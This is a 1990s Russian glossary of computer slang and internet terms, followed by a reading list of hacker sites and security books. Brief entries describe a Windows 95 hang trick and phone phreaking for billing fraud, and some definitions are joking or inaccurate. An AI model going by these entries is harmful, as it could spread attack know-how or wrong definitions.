     <b>Сброс, пимпа</b>
     Кнопка Reset на компьютере. Сбросить компьютер, страйкнуть пимпу, нажав
Reset, очистить оперативную память.
     <b>Копик</b>
     Сопроцессор (музыкальный, математический).
     <b>Процик</b>
     Просто процессор.
     <b>Компьютер завис</b>
     Состояние машины, при котором работу продолжать невозможно.
     <b>Насильник</b>
     Программист-системщик, работающий на языке С.
     <b>Макрушник</b>
     Программист-системщик, работающий на макроассемблере.
     <b>СисОп</b>
     Системный оператор BBS.
     <b>Сосиска</b>
     Плохой СисОп.
     <b>Сисопка</b>
     Пьянка системных операторов.
     <b>Сосисник</b>
     Пьянка плохих СисОпов.
     <b>Т-мыло</b>
     Почтовая программа T-MAIL.
     <b>Фродо</b>
     Почтовая программа Front Door.
     <b>Юзер</b>
     Пользователь.
     <b>Голый дед</b>
     Редактор почты Gold Edit.
     <b>Шнурок</b>
     Локальная сеть.
     <b>Сидишник, сидюк</b>
     Накопитель на лазерных дисках CD ROM.
     <b>Струйник</b>
     Струйный принтер.
     <b>Паровоз</b>
     Программа сжатия данных в реальном времени.
     <b>Доска</b>
     Дисковая операционная система.
     <b>Форточки</b>
     Операционная система Microsoft Windows.
     <b>Дурдос</b>
     операционная система DR-DOS.
     <b>ТрубоПаскакаль</b>
     Язык Turbo Pascal.
     <b>Лиса</b>
     База данных Fox Pro.
     <b>Полотер</b>
     Плоттер (графопостроитель).
     <b>Залить/слить</b>
     Upload/Download. Записать/списать файлы.
     <b>Примат</b>
     Прикладной математик.
     <b>Совок</b>
     Музыкальная псевдоприставка Covox.
     <b>Баг, глюк</b>
     Ошибка (сбой) в программе.
     <b>Лапа</b>
     Переносной компьютер.
     <b>Жук, шуршун</b>
     Вентилятор в блоке питания.
     <b>Кулер, Карлсон</b>
     Вентилятор 486 процессора.
     <b>МуМу</b>
     Мультимедиа.
     <b>Дрова</b>
     Машина-пародия на нормальный компьютер. (Поиск, ЕС ЭВМ и т.д.).
     <b>Сбой</b>
     Ненормальная   работа   компьютера,   чаще   всего    встречается    на
машинах-дровах.
     <b>Гога</b>
     Русский вариант слова error.
     <b>Файло</b>
     Файл.
     <b>Мэйло</b>
     Письмо.
     <b>Мышатина</b>
     Манипулятор типа Mouse.
     <b>Копирнуть</b>
     Cкопировать что-либо.
     <b>Коннектиться, жужжать</b>
     Cвязываться модемами.
     <b>Клоки</b>
     Cистемные часы.
     <b>Конец, кобель, шлейф</b>
     Кабель сопряжения.
     <b>Тормозистор</b>
     Транзистор.
     <b>Материнка, мамка</b>
     Motherboard (основная плата).
     <b>Ширинка</b>
     Плата расширения памяти.
     <b>Симы</b>
     Микросхемы памяти SIMM.
     <b>Сипы</b>
     Микросхемы пямяти SIPP.
     <b>Батон</b>
     Любая кнопка (button).
     <b>Волшебный батон</b>
     Кнопка magic button компьютера ZX Spectrum.
     <b>Мультяха</b>
     Плата, отвечающая за обработку стандартных портов ввода/вывода.
     <b>Хелпарь</b>
     Помощник.
     <b>Полетел</b>
     Образное выражение, характеризующее поломку чего-либо.
     <b>Гифы</b>
     Графические файлы с расширением .GIF.
     <b>Флики</b>
     Файлы-клипы с расширением .FLI.
     <b>Морды</b>
     Музыкальные файлы с расширением .MOD.
     <b>Бегучка</b>
     Бегущая строчка.
     <b>Де-Зе</b>
     Режим    выкачки    файлов,    при    котором    используется    ZMODEM
(DownLoad/ZModem).
     <b>Нетварь</b>
     Операционная система Netware.
     <b>Горелые дрова</b>
     Графический редактор CorelDraw.
     <b>Носки</b>
     Таблица кодировки ASCII.
     <b>Чекист</b>
     Тестовая программа Checkit.
     <b>Пилить диски</b>
     Попытка чтения информации с плохих дисков.
     <b>Пень-инфо</b>
     Дерево каталогов Norton Commander Treeinfo.
     <b>Вешалка</b>
     Таблица векторов прерываний.
     <b>Энурез</b>
     Программа восстановления случайно стертых файлов.
     <b>Толковый словарь
     Access level</b>
     Уровень доступа.
     <b>Access Privileges</b>
     Доступ как к самим папкам, так и к возможности их модифицировать.
     <b>Access</b>
     Доступ к сети.
     <b>Active Channel</b>
     Узел Web, автоматически поставляемый на рабочий стол пользователя.
     <b>ActiveX</b>
     Термин  программного  интерфейса   технологии  Microsoft,   позволяющей
разработчикам  создавать  интерактивное  содержимое для  WWW,  а  также  для
компонентов  программного  обеспечения,   написанных  на  различных  языках.
Основные элементы технологии ActiveX -- COM и DCOM.
     <b>Address</b>
     Уникальный код с информацией, находящейся в файле конкретной сети.
     <B>AGP</B>
     Accelerated Graphics Port.
     <b>Alias</b>
     Псевдоним (имя, метка). Весьма известная вещь в компьютерах  Macintosh.
В  более  широком смысле, --  метка,  использующаяся для  указания выполнить
какое-либо действие.
     <b>Anchor</b>
     То, что собственно, и образовывает гипертекстовую ссылку.
     <b>Anonymous</b>
     Один из методов получения доступа к той или иной информации. Вы  можете
только копировать файлы, передавать свои -- нет.
     <B>ANSI</B>
     American National Standards Institute.
     <B>APM</B>
     Advanced  Power  Management.  Усовершенствованное  управление  питанием
компьютера. Интерфейс  программного  обеспечения,  позволяющий системе вести
управление электропитанием оборудования персонального компьютера.
     <b>Arcade Game</b>
     Компьютерная игра, как правило, с живым и быстрым сценарием.
     <b>Archie</b>
     Система, предназначенная для поиска содержимого FTP серверов.
     <B>ARJ</B>
     Популярная в MS-DOS программа архивирования файлов.
     <b>Article</b>
     Статья, посланная в Usenet.
     <b>AT-команды</b>
     Команды настройки модема.
     <b>Выделенный канал</b>
     Постоянное соединение, всегда  позволяющее передать поток информации от
одного компьютера к другому.
     <b>Authorization</b>
     Право,  которое дается пользователю на тот или иной ресурс компьютерной
системы.
     <B>AUTOEXEC.BAT</B>
     Автоматически  выполняемый  файл  при  загрузке операционной системы, в
котором содержится  набор  специальных  команд, позволяющих сконфигурировать
систему под те или иные устройства персонального компьютера.
     <b>Backbone</b>
     Главная высокоскоростная магистраль Internet. Опорная сеть Internet!
     <b>Background</b>
     Фон. Задний план окна графической операционной системы.
     <b>Backup</b>
     Резервная копия. Запасной архив некоторой программы.
     <b>Bad Sector</b>
     Испорченный кластер.  Сектор  на  жестком  или  гибком  диске,  который
непригоден для записи и хранения информации.
     <B>BAT</B>
     Расширение исполняемых файлов.
     <b>Baud rate</b>
     Скорость обмена данными между компьютером и модемом.
     <B>BBS</B>
     Bulletin  Board System. Тип компьютерного сервиса. Юзеры могут читать и
публиковать различные сообщения. Передавать или скачивать файлы.
     <b>Benchmark</b>
     Общее  тестирование  персонального  компьютера посредством  специальной
программы.
     <b>Big mail</b>
     Электронная почта огромных размеров. Передается некоторыми сволочами  в
качестве мести.
     <B>BIOS</B>
     Базовая система ввода-вывода.  Пакет программ, "вшитый" в  персональный
компьютер. Позволяет настроить работу различных устройств системы.
     <b>Bit</b>
     Самое маленькое количество информации, передаваемое по сети.
     <b>Board</b>
     Электронная  монтажная плата, используемая  в  персональном компьютере.
Если  на  этой  плате расположен  процессор,  то она называется  материнской
платой.
     <b>Bookmark</b>
     Закладка. Файл  Gopher или WWW. Информация в  этом файле размещена так,
что получить доступ к желаемой странице можно без дополнительного серфинга.
     <b>Boot Block</b>
     Сектор   жесткого  или  гибкого  диска,  содержащий   команды  загрузки
операционной системы.
     <b>Boot</b>
     Запуск персонального компьютера.
     <B>BPS</B>
     Бит в секунду. Величина измерения скорости передачи данных через модем.
     <b>Browser</b>
     Нечто,  похожее на графический интерфейс. Позволяет блуждать по той или
иной сети, или искать себе на определенное место приключений.
     <b>Bus</b>
     Шина.  Различные  соединения,  позволяющие   обмениваться   информацией
различным элементам персонального компьютера.
     <b>Busy</b>
     Модем сообщает о том, что линия связи занята.
     <b>Cabinet</b>
     Файл, который содержит один или несколько сжатых файлов.
     <b>Capacity</b>
     Максимальная скорость передачи данных.
     <b>Card</b>
     Адаптер или печатная плата.
     <b>Carrier</b>
     Связь. Несущая. Определенный сигнал, несущий данные. Почти то же самое,
что и connect.
     <B>CATV</B>
     Кабельное телевидение.
     <B>CGI</B>
     Common  Gateway Interface.  Нечто, напоминающее  интерфейс,  с  помощью
которого пишется софт для серверов Web.
     <b>Channel</b>
     Канал связи между узлами сети.
     <b>Chat</b>
     Одна из форм межсетевого психоза. Вы можете, сидя за экраном компьютера
вести интерактивный разговор  со множеством аналогичных юзеров, сидящих, как
правило, по ту сторону океана. И куда только смотрит ФСБ? Непонятно.
     <b>Check Box</b>
     Флажок в  виде крестика. Один  из многочисленных  элементов графической
операционной системы. Позволяет включать или отключать то или иное действие.
     <b>Checkpoint</b>
     Место, в котором то  или иное приложение прекращает работать и начинает
определять,   где  и  в  какой  среде  оно   находится.  Одноименная  фирма,
производящая весьма популярную и бестолковую программу для защиты Internet и
Intranet.
     <b>Checksum</b>
     Некоторое  значение,  которое  характеризует  целостность   тестируемой
информации.
     <b>Cоnferencing</b>
     Cистема конференций.
     <B>CIX</B>
     Commercial Internet Exchange. Торговая ассоциация провайдеров Internet.
     <b>ClariNet</b>
     Коммерческая сеть, работающая в формате конференций Usenet.
     <b>Client</b>
     Софт конкретного юзера.
     <b>CLI в окне Dos</b>
     Дыpа в Windows 95. VMM не виртуализирует IF в VDM. Просто  осуществляем
запрет   на   прерывания   и  переходим   в  бесконечный  цикл.  Планировщик
блокируется. Система зависает.
     <b>Command line</b>
     Командная строка.
     <b>Compress</b>
     Архиватор. То, что делает из большого файла маленький, а из кучи файлов
--  один  файл.  Может быть  также командой UNIX,  через которую  происходит
процесс архивирования.
     <b>Compression/Decompression</b>
     Кодирование/декодирование сигналов.
     <b>CompuServe</b>
     Коммерческая компьютерная сеть США.
     <b>Cookies
     Т</b>ехнология, позволяющая сохранять  сугубо индивидуальную  информацию  о
пользователе сети.
     <b>Cracker
     Х</b>акер, который ломает все и вся.
     <b>Cross-posting</b>
     Отправление статьи одновременно в несколько групп конференций Usenet.
     <b>Cybermall</b>
     Электронный магазин.
     <b>Cyberpunk
     С</b>амоутвержденный хакер.
     <b>Cybersex</b>
     Cекс, разврат и другие извращения, доступные в Internet.
     <b>Data compression</b>
     Сжатие данных.
     <b>Data link</b>
     Канал связи.
     <b>Datagram</b>
     Датаграмма.   Сообщение,   посылаемое  через  компьютерную   систему  с
коммуникацией пакетов.
     <B>DDE</B>
     Dynamic   Data  Exchange.  Межпроцессорный  метод   связи,  позволяющий
одновременно запускать две или несколько программ.
     <b>DejaNews</b>
     Ищем  новости в  конференциях Usenet по  ключевому слову, автору статьи
или по адресу. Доступ через http://www.dejanews.com.
     <b>Dialtone</b>
     Длинный гудок. Телефонная линия готова.
     <b>Dial-up user</b>
     Пользователь коммутируемой линии. Получает доступ к сети через модем.
     <b>Dial-up</b>
     Метод,  кодирующий  данные, а затем  отправляющий их  по  сети.  Именно
посредством  этого метода и осуществляется  модемная  связь  по обыкновенной
телефонной линии.
     <b>DirectX</b>
     Программный   интерфейс,   благодаря   которому   ваши   мультимедийные
устройства могут работать на более высоком и эффективном уровне.
     <B>PPTP</B>
     Point-to-Point    Tunneling   Protocol.   Благодаря   протоколу    PPTP
(Point-to-Point  Tunneling  Protocol)  вы можете  подключаться  к  Internet,
совершенно не заботясь о плате за междугороднюю связь.
     <B>DNS</B>
     Domain Name System. Доменная  система адресации. Нечто, похожее на базу
данных и конвертирующее буквенное сетевое  имя в набор цифр. Этот набор цифр
является  числовым адресом Internet. Понятен  только компьютерам и некоторым
фанатам с шизофренической памятью.
     <b>Domain Name Server</b>
     Имя  сервера  домена. Каждое подразделение  Internet имеет  два домена.
Основной DNS обычно располагается на сетевой машине.
     DNS-сервера используют в  своих обращениях к удаленным узлам  32-битные
адреса IP, мнемонически заключенные в четырехразрядную буквенную комбинацию.
Любой хост  может  получить соответствующий DNS у ближайшего информационного
сервера  DNS по известной системе Domain  Name Server через сетевой протокол
DNS. Просто хост  посылает  запрос на  известный  IP-адрес DNS-сервера  свой
IP-адрес  и  имя  сервера.  Сервер  DNS штудирует  собственную  базу данных,
находит  IP-адрес  и  отправляет  на хост  соответствующий ответ  DNS. Схема
весьма  примитивная.  Если  же  сервер  DNS  не  находит  искомую  буквенную
комбинацию,  то  он  отсылает  запрос  на  так  называемый корневой  сервер,
который, в свою  очередь, сверяет информацию с  файлом  настроек root.cache.
Так происходит до тех пор, пока имя хоста не будет найдено в Internet.
     <b>Domain</b>
     Подразделение Internet.  У  каждого  домена  есть своя метка.  Например
метки  .com,  .net,  .mil,  .org  означают,  что  это  соответственно  домен
коммерческой, сетевой, военной и общественной организации.
     <b>Download</b>
     Закачивание софта с другого компьютера на собственный винчестер.
     <b>E-mail</b>
     Электронная  почта. Вы пишите (набиваете на  клавиатуре) письмо, адрес,
жмете  кнопку  и  почти  моментально  ваше  послание  читает  адресат.  Вещь
классная.  Но  есть   и  свои  недостатки.  Ваше  послание  может  прочитать
практически любой  юзер,  хоть  немного  знающий  нетрадиционный  софт.  Про
хакеров вообще можно промолчать.
     <b>Ethernet</b>
     Один из видов  сети с весьма классной пропускной способностью. Довольно
часто  компьютеры, использующие протоколы  TCP/IP подсоединяются  к Internet
через Ethernet. Да какая там поэзия! Проза, сухая проза.
     <B>F2F</B>
     Face to face. Лицом к лицу. Незабываемая встреча двух юзеров Internet в
реальном мире.
     <b>Firewall</b>
     Межсетевой защитный экран.  Весьма туманная вещь для  некоторых простых
юзеров  и  совершенно  непонятная  многим системным  администраторам.  Вещь,
которую хорошо знают хакеры. Довольно бестолковая  штучка, которая, по идее,
должна  защищать  систему  от  проникновения  хакеров.   Практически   любой
современный  межсетевой  защитный экран строится  на  протоколах прикладного
уровня (proxy) и поддерживает TELNET, Rlogin, FTP, SMTP, POP3, HTTP, Gopher,
X11, LP, Rsh, Finger, NNTP, Whois и RealAudio.
     <b>Flame War</b>
     Нанесенное в данный момент электронное оскорбление. А ведь недопустимо,
господа, нарушать порядок в интерактивном сеансе работы в сети!
     <b>Flame</b>
     Произносится как флэйм.  Угроза или оскорбление в электронном виде,  т.
е. по почте или в конференциях Usenet. А Вас оскорбляли в электронной форме?
     <b>Follow up</b>
     Cообщение в Usenet, как реакция на ранее помещенное сообщение.
     <B>FSF</B>
     Free Software Foundation. Фонд бесплатного программного обеспечения.
     <B>FSP</B>
     Система передачи файлов, подобная FTP.
     <B>FTP</B>
     File  Transfer Protocol. Метод  пересылки  файлов  на ваш компьютер.  В
Internet имеются тысячи мест, поддерживающих этот метод. Иногда единственная
возможность заиметь  файл -- это воспользоваться  протоколом FTP. Помните об
этом протоколе.
     <b>FTP-client</b>
     Софт позволяющий вам приконнектиться к серверу FTP.
     <b>FTP-команды</b>
     Команды с синтаксисом FTP.
     <b>FTP-mail</b>
     Крутейшая  штучка.   Вы  можете  получать  файлы   с  серверов  FTP  по
электронной почте.
     <b>FTP-server</b>
     Компьютер битком набитый всякой всячиной и поддерживающий протокол FTP.
     <b>Gateway</b>
     Межсетевой шлюз. Нечто соединяющее несовместимые сети.
     <b>Get a life</b>
     Чудак,  спустись на землю! Восклицание нормального человека, увидевшего
фаната Internet.
     <B>GIF</B>
     Graphic Interchange Format. Один из стандартных графических файлов WWW.
     <b>Gophermail</b>
     Доступ к Gopher через электронную почту.
     <B>GUI</B>
     Graphical  User  Interface.  Графический  пользовательский   интерфейс.
Например, система Macintosh или Windows.
     <b>Guru</b>
     Фанат, профессионал. Отличается от  хакера безумными поступками.  Такие
люди  могут легко  взорвать  планету,  если  доберутся до  заветной  красной
кнопки.
     <b>Hacker</b>
     Очень  умный  человек.  Тот,  кто  взламывает сети.  Этот  умник  может
проникнуть  в  любую сеть.  Делается это разными способами. Например,  через
порт терминала или порт электронной почты. Выбрав жертву, хакер прежде всего
определяет, имеются ли на  сервере плохие пароли, плохо настроенный софт или
испорченная операционка. Затем выбирает метод собственной безопасности.
     Хакер --  это человек,  которому  интереснее создать  свое  собственное
программное  обеспечение, чем пользоваться  уже существующим. Хотя  средства
массовой информации пытаются превратить хакеров в преступные умы, обычно они
являются людьми, движимыми любопытством и собственными интересами к созданию
программ, заставляющих компьютер работать лучше.
     <b>Home</b>
     Абсолютно    непонятная    вещь.    Наверное,     придумана    сетевыми
администраторами для запутывания новичков. В Internet тонны страниц. Поэтому
делать какую-то из них своей домашней довольно бессмысленно. Да простят меня
пользователи America Online!
     <b>Host</b>
     Главный компьютер. Компьютер, непосредственно подключенный к Internet.
     <b>Hotlist</b>
     Горячий список.
     <B>HTML</B>
     HyperText  Markup   Language.   Язык,  лежащий  в  основе  формирования
документов World Wide Web.
     <B>HTTP</B>
     HyperText Transport  Protocol.  Система, передающая документы  HTML  по
World Wide Web.
     <b>Hub</b>
     Концентратор.
     <b>Hyper Terminal</b>
     Программа  связи, с  помощью которой вы сможете организовать соединение
через модем между двумя компьютерами по телефонной линии.
     <b>Hyperlink</b>
     Связь между вами и господином на том берегу океана.
     <b>Hypermedia</b>
     Гиперсреда. Через определенные ссылки связывается текст, графика, звук,
видео и картинки.
     <b>Hypermedia</b>
     Нечто,  которое хорошо  знают хакеры.  Грубо  говоря то, что  дискретно
может отобразить фотографию на выбранном вами web-обозревателе.
     <b>Hypertext</b>
     Нечто   представляющее  данные  так,  что   можно  легко   организовать
межстраничные связи различных документов Internet.
     <b>Inbox</b>
     Электронный почтовый ящик.
     <b>Internet</b>
     Мировая  с  англоязычным  уклоном свободная  конфедерация  компьютерных
сетей,  объединяющая более  12 тысяч локальных  сетей, более одного миллиона
компьютеров и около 30 миллионов юзеров. Негласный победитель FIDO.
     <b>IP Address</b>
     Тридцатидвухбитовый   (ну   и  словечко)   адрес  протокола   Internet,
включающий в себя номер узла и сети.
     <B>IP</B>
     Самый важный  из всех протоколов, на  котором основана  Internet. Через
этот протокол осуществляется прямое подключение к Internet.
     <B>IRC</B>
     Internet Relay Chat. Одна из форм WWW-психоза.
     IRC чем-то напоминает работу в  конференциях  Usenet.  Но  если  там вы
общаетесь не в реальном времени,  то  здесь может  вестись  живой  разговор.
Разве  что, -- вас никто не слышит. Вас могут прочитать.  Вы набиваете текст
на клавиатуре. Ваша информация  попадает на общий дисплей.  Различные группы
видят ваш бред. Если интересно -- отвечают.
     <B>IRQ</B>
     Прерывание.
     <B>ISDN</B>
     Integrated   Switched   Digital   Network.  Высокоскоростная   цифровая
телефонная система. Тоже не для нас.
     <B>ISP</B>
     Internet Service Provider. То же, что и провайдер.
     <b>Killfile</b>
     Файл,  фильтрующий статьи конференций Usenet.  Своеобразная электронная
цензура.
     <b>Knowbot</b>
     Служба, позволяющая искать книги в электронных библиотеках.
     <b>Lamer</b>
     Юзер-идиот.    Термин,     придуманный     американскими     системными
администраторами.
     <B>LAN</B>
     Local Area Network. Локальная вычислительная сеть.
     <b>ListServ</b>
     Бесплатный  софт, позволяющий  вам через списки  рассылки автоматически
доставлять и контролировать электронную почту.
     <b>Login</b>
     Регистрационное имя пользователя.
     <b>Lurk</b>
     Пассивные  наблюдатели.   Например,   те,  кто  только  читают  новости
конференций Usenet или сообщения, проходящие по каналам IRC.
     <b>Mail server</b>
     Почтовый сервер. Компьютер, обрабатывающий электронную почту.
     <b>Mail</b>
     Обмен  частными  текстовыми  сообщениями   в   Internet  или  в  другой
компьютерной сети.
     <b>Mailing list</b>
     Cписок  рассылки электронных почтовых сообщений,  классифицированных по
определенным темам. Своеобразная подписка.
     <b>Marquee
     Б</b>егущая строка в документе HTML.
     <b>Media</b>
     Почти то же, что Multimedia.
     <B>MIME</B>
     Multipurpose Internet Mail Extensions. Протокол передачи звука, графики
и других двоичных данных. Применяется при передаче почтовых сообщений. И как
только этот MIME не интерпретируют!
     <B>MNP</B>
     Microsom Networking Protocol. Протокол коррекции ошибок.
     <b>Modem</b>
     MODulator/DEModulator. Устройство,  передающее цифровую  информацию  по
обыкновенной телефонной линии.
     <b>Moose</b>
     Одна из групп конференций Usenet. Лидер группы -- некто Уильям Кассиди.
     <b>Mosaic</b>
     Древнейший    графический   пользовательский   интерфейс,   позволяющий
просматривать  World  Wide  Web.  Имеются  версии  для  X-Window, Windows  и
Macintosh.
     <B>MPEG</B>
     Moving Pictures  Expert  Group. Протокол,  через который  упаковываются
видеозаписи.
     <b>Multimedia</b>
     Весьма туманный термин, не переводящийся на нормальный язык.
     <b>Net server</b>
     Сетевой сервер.
     <b>Net</b>
     Сеть.
     <b>Net.god</b>
     Бог Сети сетей.
     <b>Net.personality</b>
     Крутой участник конференций Usenet.
     <b>Netiquette</b>
     Cетевой этикет, относящийся к участникам конференций Usenet.
     <b>Newcomer</b>
     Новоиспеченный юзер Internet.
     <b>Newsgroup</b>
     Область сообщений в конференциях Usenet.
     <B>NNTP</B>
     Сетевой протокол, с помощью которого весь мир пользуется прелестями  от
конференций Usenet.
     <b>No Dialtone</b>
     Сообщение модема. В линии отсутствует сигнал.
     <b>Node</b>
     Узел сети.
     <B>NTFS</B>
     Файловая система,  специально  разработанная для  операционной  системы
Windwos NT. Поддерживает восстановление файловой  системы и  носители данных
весьма большого объема.
     <B>OBS</B>
     Online Bookstore. Электронная библиотека.
     <b>Offline</b>
     Автономный режим работы компьютера.
     <b>Online</b>
     Интерактивный режим работы сетевого компьютера.
     <b>Password</b>
     Пароль.  Головная  боль  многих  системных  администраторов. Мозоль  на
пальцах простых юзеров.
     <B>PH</B>
     Phonebook. Программа-клиент PH  может  быть  использована для доступа к
базе данных QI, в которой  находятся тонны  телефонных справочников  и масса
другой полезной информации.
     <b>Phreake</b>
     Хакерство на телефонных  линиях. Генерация тонов определенной  частоты,
позволяющая  проводить  махинации   с  оплатой  разговоров   и  сканирование
телефонной сети на предмет обнаружения модемных входов.
     <B>PKZIP</B>
     Программа упаковки файлов.
     <b>Pointer</b>
     Указатель с синтаксисом URL.
     <B>POP</B>
     Post Office Protocol. Протокол электронной почты.
     <b>Popmail</b>
     Программа, используемая для чтения удаленных почтовых сообщений.
     <b>Posting</b>
     Передача сообщения в одну из групп Usenet.
     <B>PPP</B>
     Point-to-Point-Protocol.  Протокол  повышенного типа.  Наследник  SLIP.
Этот  протокол  хорош тем,  что  он  позволяет  подключить ваш  компьютер  к
Internet по так называемому протоколу удаленного доступа TCP/IP.
     <b>Privacy</b>
     Невмешательство в личную жизнь пользователя электронной почты.
     <b>Prompt</b>
     Поле данных удаленного терминала.
     <b>Protocol</b>
     Метод, с помощью которого передается информация от хоста к юзеру.
     <b>Provider</b>
     Поставщик некоторых услуг. В частности, -- услуг Internet.
     <b>Pulse</b>
     Один из способов импульсного набора телефонного номера.
     <B>QWK</B>
     Формат  чтения  в  интерактивном  режиме  почтовых  сообщений  и статей
конференций Usenet.
     <b>Real Time</b>
     Интерактивный  (не  пакетный)   режим.  То  есть  режим,  передающий  и
обрабатывающий информацию с весьма большой скоростью.
     <b>Remote computer</b>
     Тот самый сервер, к которому коннектятся.
     <b>Remote control</b>
     Дистанционное управление.
     <b>Remote</b>
     Удаленный доступ.
     <B>RFC</B>
     Request  For  Comment.  Огромная куча  электронных документов.  Если ее
разгрести, то можно окончательно выяснить, что же такое Internet.
     <B>RIP</B>
     Routing  Internet  Protocol.  Еще  один  протокол,  в  дебрях  которого
запуталось немало системных администраторов.
     <b>Ripco</b>
     Популярный провайдер из славного американского города Чикаго.
     <b>Robot</b>
     Робот, он  и в  Африке робот. Нечто, автоматически залезающее  в  чужую
сеть без участия системных администраторов или некоторая поисковая программа
в гиперсреде WWW.
     <b>Router</b>
     Маршрутизатор.
     <B>RTFM</B>
     Read The Following Materials. Читай справочник,  придурок! Раздраженный
ответ,  адресованный, как  правило  тем  юзерам,  которые  задают  очевидные
вопросы.
     <b>Script</b>
     Сценарий в некоторой коммуникационной программе.
     <b>Security</b>
     Антихакерский софт. Сладкая ягодка системного администратора.
     <b>Server</b>
     Компьютер, система которого способна организовать сеть.
     <B>SGML</B>
     Standard Generalized Markup Language. Язык структурированных языков. То
есть язык,  посредством которого  вы  можете определить язык индексированных
документов.  Язык более высокого  уровня,  чем HTML.  В общем,  язык языков.
Понятен только весьма умным юзерам или хакерам.
     <b>Shareware</b>
     Условно-бесплатное  программное  обеспечение, т. е. платите лишь  в том
случае, если хотите получить полную версию полученного софта.
     <b>Sharing</b>
     Совместное использование.
     <b>Shell</b>
     Оболочка.
     <b>Site</b>
     Место. Расположение сервера в Internet.
     <B>SLIP</B>
     Serial  Line Internet  Protocol.  Древний  протокол  повышенного  типа.
Позволяет  подключить  ваш  компьютер к  Internet  по  протоколу с удаленным
доступом TCP/IP.
     <B>SMTP</B>
     Simple Mail Transport Protocol. Протокол обмена почтовыми сообщениями.
     <b>Spam</b>
     Принудительные   сообщения,   посылаемые  через  электронную   почту  и
конференции Usenet.
     <B>SSL</B>
     Secure   Socket  Layer.  Весьма  слабый  протокол  программы  Netscape.
Предназначен для  защиты юзеров. Или  по другому:  защищенный протокол самой
классной и знаменитой смотрелки киберпространства Netscape Communicator.
     <b>Sysop</b>
     System operator. Сисоп. Системный оператор.
     <B>TCP</B>
     Transmission  Control Protocol. Главный транспортный протокол. Протокол
управления передачей. Работает одновременно с клиентом  и протоколом низкого
уровня (IP).  Интерфейс между TCP и пользователем  есть открытие  и закрытие
соединения и отправка и загрузка информации. TCP совместим с Telnet и THP.
     <B>TCP/IP</B>
     Control   Protocol/Internet  Protocol.  Стандартный  сетевой  протокол,
позволяющий вашему компьютеру соединиться с Internet.
     <b>Telnet</b>
     Специальный коммуникационный  протокол,  позволяющий через определенные
команды получать непосредственный доступ к серверу Internet.
     <b>Tone</b>
     Тоновый набор телефонного номера.
     <b>Traffic</b>
     Поток.
     <b>Twisted pair</b>
     Скрученная пара.
     <B>UDP</B>
     Протокол  транспортного  уровня,  на  котором   собственно  и  основана
Internet.
     <b>Upload</b>
     Вы передаете свои файлы на другой компьютер.
     <B>URL</B>
     Uniform Resource Locator. Стандартный адресный формат,  указывающий имя
сервера Gopher, WWW, Finger или FTP.
     <B>USB</B>
     Универсальная последовательная шина. Благодаря USB вам больше не  нужно
задумываться об установках прерываний IRQ. Вы просто подключаете  устройство
к разъему  USB, а система  сама обеспечит совместимость с вашим компьютером.
Вам даже не придется перезапускать систему.
     <B>AGP</B>
     Архитектура графических ускорителей AGP  (Accelerated  Graphics  Port).
Благодаря AGP  вы можете вполной мере насладиться трехмерными  компьютерными
играми  или  ощутить всю  мощь  вашего  нового  видеоадаптера  в  программах
обработки трехмерной графики.
     <b>Usenet</b>
     Одна из форм массового электронного психоза (в хорошем смыле последнего
слова). В настоящее время существует около 10 000 таких форм.
     <b>User node</b>
     Узел пользователя.
     <b>Username</b>
     Имя пользователя.
     <B>WAN</B>
     Wide Area Network.  Сеть  сетей.  Например, Internet явлется  Worldwide
WAN.
     <b>Webmaster</b>
     Системный администратор Web-сервера. Он же, Паутиныч.
     <B>WDM</B>
     Архитектура  драйверов  Win32  (по сути  объединяет  аппаратные ресурсы
Windows  98 и  Windows NT),  благодаря  которой  вы можете  настраивать свою
систему, используя драйверы Windows NT.
     <b>White Pages</b>
     Справочник пользователей Internet.
     <b>Whois</b>
     Ищем электронный адрес конкретного типа.
     <B>WINZIP</B>
     Софт, созданный  для  юзеров  Windows  95.  Позволяет  распаковывать  и
запаковывать файлы.
     <b>Workstation</b>
     Рабочая станция. Один из компьютеров, подключенный к компьютерной сети.
     <b>World Wide Web</b>
     Информационная система  Internet,  созданная  для  тех  юзеров, которые
имеют высокоскоростные модемы. Это означает, что на экране вашего компьютера
виден не просто голый текст, а мультимедийный документ  с  картинками, порой
разворачивающимися так долго, что хочется стукнуть по клавиатуре или плюнуть
на экран монитора.
     <b>Yahoo</b>
     Паук с самым полным  списком  серверов  WWW  и возможностью  бесплатной
регистрации собственной Web страницы (http://www.yahoo.com).
     <B>ZIP</B>
     Популярный формат архивирования  файлов. Наиболее часто  используется в
программах MS DOS.
     <b>Список использованной литературы
     Russian Underground Club</b>
     http://www.toptown.com/hp/RUC/
     e-mail: night_elf@hotmail.com
     <b>Russian Underground Server</b>
     http://www.russian.lt/
     <b>Крякер Internet</b>
     http://kpakep.home.ml.org/
     <b>ThE BLUES BROThERS BBS</b>
     +7-812-178-8403
     <b>Как не платить МГТС за повременку</b>
     Master A. Pixel (SLY FOX)
     <b>Модемы</b>
     Master A. Pixel (SPY FOX)
     <b>Верстак. Журнал русского хакера.</b>
     http://www.chat.ru/~wrkbench/1000.html
     <b>Computer Security Basics</b>
     Deborah Russell and G.T. Gengemi Sr
     <b>Information Systems Security</b>
     Philip Fites и Martin Kratz
     <b>Computer Related Risks</b>
     Peter G. Neumann
     <b>Computer Security Management</b>
     Karen Forcht
     <b>The Stephen Cobb Complete Book of PC and LAN Security</b>
     Stephen Cobb
     <b>Security in Computing</b>
     Charles P. Pfleeger
     <b>Building a Secure Computer System</b>
     Morrie Gasser
     <b>Modern Methods for Computer Security</b>
     Lance Hoffman
     <b>Protection and Security on the Information Superhighway</b>
     Dr. Frederick B. Cohen
     <b>Practical Unix Security</b>
     Simson Garfinkel and Gene Spafford
     <b>Unix System Security</b>
     Rik Farrow
     <b>Unix Security: A Practical Tutorial</b>
     Derek Arnold
     <b>Unix Security for the Organization</b>
     Richard Bryant
     <b>Network Security Secrets</b>
     David J. Stang и Sylvia Moon
     <b>Complete Lan Security and Control</b>
     Peter Davis
     <b>Network Security</b>
     Steven Shaffer и Alan Simon
     <b>Protect Your Privacy: A Guide for PGP Users</b>
     William Stallings
     <b>Codebreakers</b>
     Kahn
     <b>The Little Black Book of Computer Viruses</b>
     Mark Ludwig
     <b>Computer Viruses, Artificial Life and Evolution</b>
     Mark Ludwig
     <b>A Short Course on Computer Viruses</b>
     Dr. Fred Cohen
     <b>Engineering and Operations in the Bell System</b>
     R.F. Rey
     <b>Telephony: Today and Tomorrow</b>
     Dimitris N. Chorafas
     <b>The Hacker Crackdown</b>
     Bruce Sterling
     <b>Cyberpunk</b>
     Katie Hafner и John Markoff
     <b>The Cuckoo's Egg</b>
     Cliff Stoll
